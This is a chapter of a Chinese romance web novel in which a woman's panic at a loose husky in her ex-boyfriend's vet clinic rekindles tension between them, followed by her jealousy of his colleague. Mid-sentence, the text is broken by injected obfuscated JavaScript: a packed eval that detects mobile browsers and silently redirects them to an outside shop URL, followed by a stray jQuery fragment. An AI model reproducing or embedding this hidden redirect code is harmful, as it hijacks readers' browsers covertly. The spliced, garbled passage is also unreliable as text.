“按住狗狗时不要用蛮力”
“它突然跳起来,我怎么按得住?”
时昀清绕到她身边蹲下,侧身靠近一元,“它的头在你这边,你的重心应该压在肩胛骨上,别压脖子,越压它越怕。”
他说着,一手轻按住一元的后颈,另一只手托住江之璐的手腕,手把手带她找到肩胛骨之间的位置。
“按这里。”
一元果然没挣扎,乖乖地被趴着,任由他们摆布。
“学会了吗?”
“嗯。”
时昀清把手收回去,转身去拿片子申请单。
“走吧,去放射科,三楼左转。”
拍完片子,要等二十分钟才能出结果,时昀清被秦川叫回诊室看报告,江之璐坐在休息区的长椅上,给陈家宝发微信说明情况。
忽然,身后的走廊传来一阵骚动,引起周围的人惊呼和狗狗乱叫。
江之璐抬头望去,只见一条哈士奇被拖地的牵引绳绊了下脚,随即像脱缰的野马径直朝她的方向奔跃而来。
童年被追扑的记忆瞬间劈头盖脸砸下来,江之璐浑身血液凝固。
下一秒她本能地嚎叫出声,连门都没顾上敲,一头扎进时昀清的诊室内。
“啊啊啊啊……时昀清,救我!”
江之璐整个人像只被踩尾巴的猫,原地弹射而起,蹿上检查台。
但检查台太窄,她的脚踩到了台面边缘的无菌垫,身子一歪,慌乱中她抓住时昀清的肩膀。
“它上来了,你快让它走开!”
她一边哀嚎,一边将胳膊死死勾住时昀清的脖子,双腿借着蹬地的劲儿蜷起来,结结实实地盘在了他腰上。
整个人看上去像只挂树的树袋熊。
时昀清被她撞得往后踉跄半步,后背结结实实抵在玻璃柜上,他下意识抬手托住她的腿弯,才稳住重心。
旁边的秦川看傻愣住,手里的笔悬在半空。
“它要跳上来,怎么办?”江之璐声音发抖。
时昀清声音很稳,还抽空拍她的后背安抚,“它后腿受伤了,跳不上来,不信你看。”
“你怎么知道……”
江之璐睁眼看去,猝不及防地和那只用三条腿围着桌子打转的哈士奇对上视线,那狗似乎更加兴奋,单腿用力,直接趴桌边站立起来,尾巴摇得快成残影。
“啊啊啊……我靠,它站起来了!时昀清,你个大骗子!”
她吓得不敢再看,把脸死死埋进时昀清的肩窝。
呼吸的热气全洒在颈侧的皮肤上,烫得时昀清喉结不自觉滚了一下。
哈士奇“汪”了一声,将他拉回神。
“坐下!”
时昀清命令的声音骤然响起,他单手托住怀里的人,箭步上前踩住牵引绳,弯腰拾起,绕掌心缠了两圈,牢牢控制住兴奋过度的哈士奇。
整个过程行云流水,不过眨眼间。
哈士奇的主人气喘吁吁跑来,连忙道歉。
“对不起,它见到漂亮小姐姐就特别兴奋,我一时间没拉住,真的非常抱歉。”
“下次注意。”
时昀清把牵引绳递回去,目光却始终落在挂在自己身上的人身上。
主人连声赔罪,拽着一步三回头的哈士奇走了。
秦川看出两个人关系不简单,忍住好奇,识趣地抓起病历本。
“我去隔壁,你们……慢慢聊。” 说完还顺手带上了诊室的门。
诊室里瞬间安静下来,只剩两人交叠的呼吸声。
江之璐听着没动静了,才悄悄掀开一只眼,确认哈士奇真的走了,后知后觉反应过来她正和时昀清贴得严丝合缝。
她脸 “唰” 地烧起来,从耳尖红到下颌,连脖子根都泛了粉。
江之璐手忙脚乱地想下去,结果腿麻得发软,刚松开一点就往下坠,吓得她又赶紧搂紧几分,反倒撞得时昀清闷哼一声。
“别动了。”
听出他声音哑得厉害,她猛地意识到什么,没敢再动。
时昀清稳稳将人放下来,直到脚尖沾地,手还虚扶在她的腰侧,指腹不经意蹭过腰间露出来的一点皮肤,惹得他又滚动了下喉咙。
江之璐立刻弹开半步,背靠药柜,胡乱捋顺乱掉的头发。
“刚才那是意外,我就是一时慌了,不是故意要往你身上扑的!”
她眼神飘来飘去,飘到被抓皱的白大褂领口,对上时昀清眼底藏不住的笑意。
“时昀清!” 江之璐脸颊气鼓鼓,“你笑屁啊,你又不是不知道我最怕哈士奇!”
“嗯,我知道,反应还挺快,知道往我这里跑。”
“……”
这话听起来怪怪的,有种表扬幼儿园小孩聪明的感觉。
时昀清看着她别扭的样子,嘴角的笑意淡了些,往前走了一步,捉住她后缩的手腕。
“我又不给你扎针,躲什么。”他声音没了刚才的戏谑,“手心都掐破了。”
他转身从药柜里拿了碘伏和创口贴,拉过她的手,用棉签蘸上碘伏,在她掌心的红印上慢慢打圈。
他动作很轻,像怕碰疼她似的。
“都多大的人了,怕哈士奇还跟以前一样,就知道攥着自己使劲。”
“要你管,早知道就换家医院了。”
时昀清顿了一下,他垂着眼,长睫覆下来,看不清眼底的情绪,指尖的动作却慢了半拍。
“不是故意不接你电话。” 他沉默几秒,才低声开口,“当时在给一只难产的布偶做手术,腾不开手。”
江之璐心里本来就乱糟糟,听他这么解释,鼻尖莫名有点发酸。
“每次都这样。”她撇撇嘴,小声嘀咕,“每次都找不到人。”
这句话轻飘飘,却像块浸了水的石子,猛地砸进时昀清心里,沉得他心口发闷。
他总是在她需要自己的时候,不能第一时间出现在她身边。
过去,他不是一个合格的男朋友。
现在,他也不是一个合格的前任。
时昀清手里的棉签悬在半空,停了好一会儿,才慢慢收回来。
他想解释什么,可话到嘴边又咽了回去。
解释什么呢?
当年他解释过很多次,说到最后,连他自己都觉得无力。
他撕开创口贴的包装,轻轻贴在掌心最红的那道印子上。
“对不起。”
良久,他才低声开口,声音里带着点掩不住的疲惫和无奈。
江之璐本来只是随口嘀咕,说完就有点后悔了。
她以为他会像以前一样跟她掰扯工作的特殊性,或者无奈叹气,可没想到他只说了一句对不起。
不过也对,他们早就分手了,这种是给女朋友才有的解释,他们之间是租户和租客的关系,说对不起才正常。
只是那声抱歉里的涩意太明显,听得她心口也跟着闷了一下。
诊室里又安静下来,静得人喘不过气。
忽然,敲门声打破凝滞的空气,一个女人倚靠在门框边。
“打扰二位了,老时帮我会个诊呗。”
时昀清看眼手表,“估计还有十五分钟出结果,要是害怕再跑进来狗,就在这儿坐着等。”
“知道了。”
“柜子下面的抽屉里有面包和火腿肠,你刚才有点眩晕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839409|211585||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
别再低血糖晕倒了。”
“……婆婆妈妈,知道了。”
倚靠在门框边的女人,目光在两人之间来回打转,眼底带着点了然的笑意。
江之璐站在诊室门口,看着时昀清和那个女人并肩往走廊另一头走去。
女人比他矮了大半个头,说话时微微侧过脸,露出颈侧一小截瓷白的皮肤,时昀清也偏头听她说话,步速放得很慢,像是在迁就她的步伐。
走廊里隐约传来两人交谈的声音,说的都是专业术语,语速很快,却莫名透着旁人插不进去的默契。
江之璐收回视线,关上诊室的门,感觉呼吸又有点发堵。
忽然,秦川探着脑袋进来。
“小姐姐!”
“一元的报告出来了,看上去没什么大事,胃里有个小异物,玉米粒大小,可能是它自己吃进去的塑料片之类的,应该能自己排出来,明天复查一下片子就行。”
“那就好。”江之璐松了一口气。
“你坐嘛,时老师会完诊就回来。”秦川在转椅上坐下,转了半圈,“他一般不会让人等太久。”
江之璐“嗯”了一声,在检查台旁边的椅子坐下,随意翻起报告单,翻看两眼,还是没忍住。
“刚才那个女医生是你们这儿的?”
“俞老师?”秦川眼睛一亮,“对,她也是我们医院的医生,专攻猫科,特别厉害。”
“她跟你老师很熟?”
“何止熟啊,师出同门,关系特别好。”
江之璐仔细回想时昀清身边的同学中,似乎没听说过叫俞见宁的人。
“时老师来这边工作还是俞老师推荐的,他们两个经常一起会诊,配合特别默契。”
“他们是一届?”
“俞老师比时老师小两届,但能力一点不差。”
那对上了,怪不得没听过这个名字,他们认识时,他们已经分手了。
一来一回地聊着,江之璐对俞见宁有了初步的了解,她漫步经心地捏起报名纸的边角,耳边突然凑近一道声音。
“他们两个站在一起特别养眼吧。”秦川笑得毫无心机,“上次还有家属以为他们是夫妻呢,把俞老师笑死了。”
江之璐把报告的边角展平,又折了一下。
“……是吗?”
秦川终于察觉出她语气里微妙的凉意,笑容僵了半秒,赶紧圆场。
“不是不是,他们就是师兄妹关系,纯粹的工作搭档,俞老师也有自己的……”
不等说完,诊室的门被推开。
时昀清站在门口,视线先扫过江之璐,落在她手里的报告纸上,然后转到秦川身上,看见他和她之间,只有不到一臂的距离。
秦川觉得背后发凉,“噌”地站起来。
“老师,一元的报告出来了,胃里有个小异物,不大,明天复查就行,我去看看住院部的猫。”
说完一溜烟跑走。
时昀清接过江之璐递来的报告,“问题不大,观察一晚,看看能不能自主排出来。”
“嗯。”
“刚才秦川说什么了?”
“没说什么,就说检查结果的事。”
时昀清看她耷拉眼皮的表情,喉间溢出低低笑声。
“你笑什么?”
他倏地弯腰,视线与她齐平,目光直直落在她脸上。
“你在好奇我和俞见宁的关系?”
“谁……谁好奇了?”江之璐眨眨眼睛,舌头打卷,“你有病吧。”
时昀清更加确信自己的猜想,嘴角笑意加深。
“你的表情跟当年撞见我和同组女同学去图书馆时一模一样。”